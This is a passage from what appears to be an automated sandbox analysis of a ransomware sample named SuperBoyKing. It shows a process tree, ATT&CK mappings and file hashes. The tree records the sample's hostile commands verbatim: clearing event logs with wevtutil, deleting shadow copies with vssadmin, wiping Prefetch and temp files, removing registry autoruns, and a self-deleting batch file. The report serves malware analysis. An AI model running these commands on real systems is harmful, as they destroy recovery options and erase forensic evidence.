  "wevtutil" cl "Windows PowerShell"
  2⤵
  - Clears Windows event logs
  PID:4164
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Windows PowerShell"
  2⤵
  - Clears Windows event logs
  PID:4144
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Security/Operational
  2⤵
  - Clears Windows event logs
  PID:5764
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Windows PowerShell"
  2⤵
  - Clears Windows event logs
  PID:4688
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Microsoft-Windows-Security/Operational
  2⤵
  - Clears Windows event logs
  PID:5096
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Windows PowerShell"
  2⤵
  - Clears Windows event logs
  PID:3800
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows PowerShell/Operational"
  2⤵
  - Clears Windows event logs
  PID:4868
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows PowerShell/Operational"
  2⤵
  - Clears Windows event logs
  PID:1852
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows PowerShell/Operational"
  2⤵
  - Clears Windows event logs
  PID:1472
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows PowerShell/Operational"
  2⤵
  - Clears Windows event logs
  PID:2596
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Windows PowerShell"
  2⤵
  - Clears Windows event logs
  PID:1456
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows PowerShell/Operational"
  2⤵
  - Clears Windows event logs
  PID:5880
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Windows PowerShell"
  2⤵
  - Clears Windows event logs
  PID:4480
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows PowerShell/Operational"
  2⤵
  - Clears Windows event logs
  PID:2116
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows Defender/Operational"
  2⤵
  - Clears Windows event logs
  PID:5776
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows Defender/Operational"
  2⤵
  PID:252
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows Defender/Operational"
  2⤵
  - Clears Windows event logs
  PID:1952
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows Defender/Operational"
  2⤵
  - Clears Windows event logs
  PID:6100
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows Defender/Operational"
  2⤵
  - Clears Windows event logs
  PID:5164
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows PowerShell/Operational"
  2⤵
  - Clears Windows event logs
  PID:4476
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows Defender/Operational"
  2⤵
  - Clears Windows event logs
  PID:5740
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows PowerShell/Operational"
  2⤵
  - Clears Windows event logs
  PID:1484
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows Defender/Operational"
  2⤵
  - Clears Windows event logs
  PID:828
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl "Microsoft-Windows-Windows Defender/Operational"
  2⤵
  - Clears Windows event logs
  PID:5924
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Windows\Prefetch\*.* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:3400
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Windows\Prefetch\*.* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:4556
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Windows\Prefetch\*.* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:1760
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Windows\Prefetch\*.* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:4212
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Windows\Prefetch\*.* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:1516
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Windows\Prefetch\*.* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:2476
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Windows\Prefetch\*.* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:5176
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Windows\Prefetch\*.* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:4116
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:4912
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:396
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:308
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:320
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:324
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:4092
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:1996
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:3000
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:2016
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:4300
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:4324
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:5132
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:2224
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:3048
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:1436
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:4572
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:2060
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:5276
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:624
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:2628
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:2164
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:6072
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:6032
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:1732
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperBoyKingSvc /f
  2⤵
  PID:2688
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:3488
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:3752
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:4124
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:2764
- C:\Windows\system32\reg.exe
  "reg" delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v SuperBoyKingSvc /f
  2⤵
  PID:2448
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:1872
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:896
- C:\Windows\system32\reg.exe
  "reg" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v SuperBoyKingSvc /f
  2⤵
  PID:1668
- C:\Windows\system32\reg.exe
  "reg" delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v SuperBoyKingSvc /f
  2⤵
  PID:2636
- C:\Windows\system32\reg.exe
  "reg" delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v SuperBoyKingSvc /f
  2⤵
  PID:5656
- C:\Windows\system32\reg.exe
  "reg" delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v SuperBoyKingSvc /f
  2⤵
  PID:1448
- C:\Windows\system32\sc.exe
  "sc" delete SuperBoyKingSvc
  2⤵
  - Launches sc.exe
  PID:4532
- C:\Windows\system32\reg.exe
  "reg" delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v SuperBoyKingSvc /f
  2⤵
  PID:4804
- C:\Windows\system32\reg.exe
  "reg" delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v SuperBoyKingSvc /f
  2⤵
  PID:6116
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*SuperboyKing* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:4328
- C:\Windows\system32\sc.exe
  "sc" delete SuperBoyKingSvc
  2⤵
  - Launches sc.exe
  PID:3304
- C:\Windows\system32\reg.exe
  "reg" delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v SuperBoyKingSvc /f
  2⤵
  PID:4156
- C:\Windows\system32\reg.exe
  "reg" delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v SuperBoyKingSvc /f
  2⤵
  PID:3292
- C:\Windows\system32\sc.exe
  "sc" delete SuperBoyKingSvc
  2⤵
  - Launches sc.exe
  PID:1108
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*SuperboyKing* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:2088
- C:\Windows\system32\sc.exe
  "sc" delete SuperBoyKingSvc
  2⤵
  - Launches sc.exe
  PID:2320
- C:\Windows\system32\sc.exe
  "sc" delete SuperBoyKingSvc
  2⤵
  - Launches sc.exe
  PID:5996
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*ransom* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:2812
- C:\Windows\system32\sc.exe
  "sc" delete SuperBoyKingSvc
  2⤵
  - Launches sc.exe
  PID:4704
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*SuperboyKing* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:5020
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*SuperboyKing* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:3944
- C:\Windows\system32\sc.exe
  "sc" delete SuperBoyKingSvc
  2⤵
  - Launches sc.exe
  PID:5312
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*SuperboyKing* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:2392
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*ransom* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:4528
- C:\Windows\system32\vssadmin.exe
  "vssadmin" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1720
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*SuperboyKing* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:3556
- C:\Windows\system32\sc.exe
  "sc" delete SuperBoyKingSvc
  2⤵
  - Launches sc.exe
  PID:6088
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*ransom* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:1744
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*SuperboyKing* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:2384
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*ransom* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:2828
- C:\Windows\system32\vssadmin.exe
  "vssadmin" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3896
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*ransom* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:5892
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*ransom* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:2524
- C:\Windows\system32\vssadmin.exe
  "vssadmin" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4900
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*SuperboyKing* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:3380
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*ransom* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:2096
- C:\Windows\system32\vssadmin.exe
  "vssadmin" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5068
- C:\Windows\system32\vssadmin.exe
  "vssadmin" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1660
- C:\Windows\system32\cmd.exe
  "cmd" /C "del /f /s /q C:\Users\Admin\AppData\Local\Temp\\*ransom* 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:3724
- C:\Windows\system32\vssadmin.exe
  "vssadmin" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3900
- C:\Windows\system32\vssadmin.exe
  "vssadmin" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1348
- C:\Windows\system32\cmd.exe
  "cmd" /C start /min C:\Users\Admin\AppData\Local\Temp\delete_me.bat
  2⤵
  - Executes a command shell one-liner
  PID:2496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\delete_me.bat
    3⤵
    - Executes a command shell one-liner
    PID:3668
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5484
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4976
- C:\Windows\system32\cmd.exe
  "cmd" /C start /min C:\Users\Admin\AppData\Local\Temp\delete_me.bat
  2⤵
  - Executes a command shell one-liner
  PID:4632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\delete_me.bat
    3⤵
    - Executes a command shell one-liner
    PID:2456
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5560
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2808
- C:\Windows\system32\cmd.exe
  "cmd" /C start /min C:\Users\Admin\AppData\Local\Temp\delete_me.bat
  2⤵
  - Executes a command shell one-liner
  PID:3880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\delete_me.bat
    3⤵
    - Executes a command shell one-liner
    PID:2836
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3112
- C:\Windows\system32\vssadmin.exe
  "vssadmin" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3036
- C:\Windows\system32\cmd.exe
  "cmd" /C start /min C:\Users\Admin\AppData\Local\Temp\delete_me.bat
  2⤵
  - Executes a command shell one-liner
  PID:5784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\delete_me.bat
    3⤵
    - Executes a command shell one-liner
    PID:4384
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5880
- C:\Windows\system32\cmd.exe
  "cmd" /C start /min C:\Users\Admin\AppData\Local\Temp\delete_me.bat
  2⤵
  - Executes a command shell one-liner
  PID:2964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\delete_me.bat
    3⤵
    - Executes a command shell one-liner
    PID:2024
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1640
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3624
- C:\Windows\system32\cmd.exe
  "cmd" /C start /min C:\Users\Admin\AppData\Local\Temp\delete_me.bat
  2⤵
  - Executes a command shell one-liner
  PID:1312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\delete_me.bat
    3⤵
    - Executes a command shell one-liner
    PID:5416
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2768
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4476
- C:\Windows\system32\cmd.exe
  "cmd" /C start /min C:\Users\Admin\AppData\Local\Temp\delete_me.bat
  2⤵
  - Executes a command shell one-liner
  PID:5592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\delete_me.bat
    3⤵
    - Executes a command shell one-liner
    PID:5576
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5620
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4984
- C:\Windows\system32\cmd.exe
  "cmd" /C start /min C:\Users\Admin\AppData\Local\Temp\delete_me.bat
  2⤵
  - Executes a command shell one-liner
  PID:5048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\delete_me.bat
    3⤵
    - Executes a command shell one-liner
    PID:3992
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1656
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:252

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5756

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a976a31824c3a0cc2a6b0fd9ec6045c398d82990e5e96df2ad86ba09a9b05be5
MD5 66f9b690d4e5313231bc173ce7b2c029
SHA1 b0dbce2f97d8ca067ddde29c06272e56e38fa195
SHA512 8f0c4c220fc64928778bf68c853246126b44f40fcdc99aa2fdaa491797ce02783c8776fdd7bd3154544336f0466000a8b92c740ed0d0df75b8a6990da450650e
TLSH
T158216833B3DD8614C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7596c206de31f0a71480b6a308e6ced37e91134e394199ccf13b52b72fd665f0
MD5 4dd837e0a1f142cbb905f473694b1d08
SHA1 8703ef241485471de3b1fb676c5a824a77d4747c
SHA512 46bbca96d65d38097d877a8c5c48f50b7a1b1c4b91376dafc6b178cf2a01196bf9f105dea31d7ba81151dae038fa48561acd9a4a5359ae74c12080ab442611dc
TLSH
T142216833B3DD8624C89A413A10CDAC1036B6C7DB41DECFAB6B84E655A43F699DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 24a653b4f397a97a0ab6d29e68c4098695d07cd820e178b56ae408ee9069bd93
MD5 3cbc03d3c6833e8a4eaa0c4d129d0d64
SHA1 9da6d8132bcba44e57c9290f4b794ccecc09d709
SHA512 5752078a8cbe96f203a933eac03d0218fea84a037a3768cc14b11b80b9ccec44fe6d89989690e82519635da75f1c6b3090bb93d5c23feab060243a17a8e2ee1f
TLSH
T146115733F3CC8624C89A403650CEAC1036B587DB50DECEABBB84D154B43F5A9CE61260
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_eobujtm5.du1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eobujtm5.du1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

delete_me.bat

Path C:\Users\Admin\AppData\Local\Temp\delete_me.bat
Size 201B
SHA256 0c25c5d73cd3a43a71277f1311398bff343bacc9eb5b52113655dbe951c99309
MD5 0bcb8ac113c233946e86e514f2bd7084
SHA1 2809331c7c39f09f584ae344c7284965287fb7a5
SHA512 a6a7c0a4f7507c07b7c2da4419a2f511cb310f9ec3b1475f086859540206ccf4ddbf3ac687ca825d410e22414021938f2a13a539bf4c90b43ab412be95aacd43
TLSH
T18BD02221A169432440091CB3A96E204890680C8F9A45CE3E2147C0BE271B05BA0AE7C6
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2948-20-0x00007FF653F20000-0x00007FF6540AB000-memory.dmp

Download

memory/2948-43-0x00007FF653F20000-0x00007FF6540AB000-memory.dmp

Download

memory/4476-2-0x000001E151AF0000-0x000001E151B12000-memory.dmp

Download

memory/4476-5-0x000001E151B50000-0x000001E151B6E000-memory.dmp

Download

memory/4476-6-0x000001E151B70000-0x000001E151C22000-memory.dmp

Download

memory/4476-7-0x000001E151C30000-0x000001E151C3A000-memory.dmp

Download

memory/4556-14-0x000001CFDBB20000-0x000001CFDBBD2000-memory.dmp

Download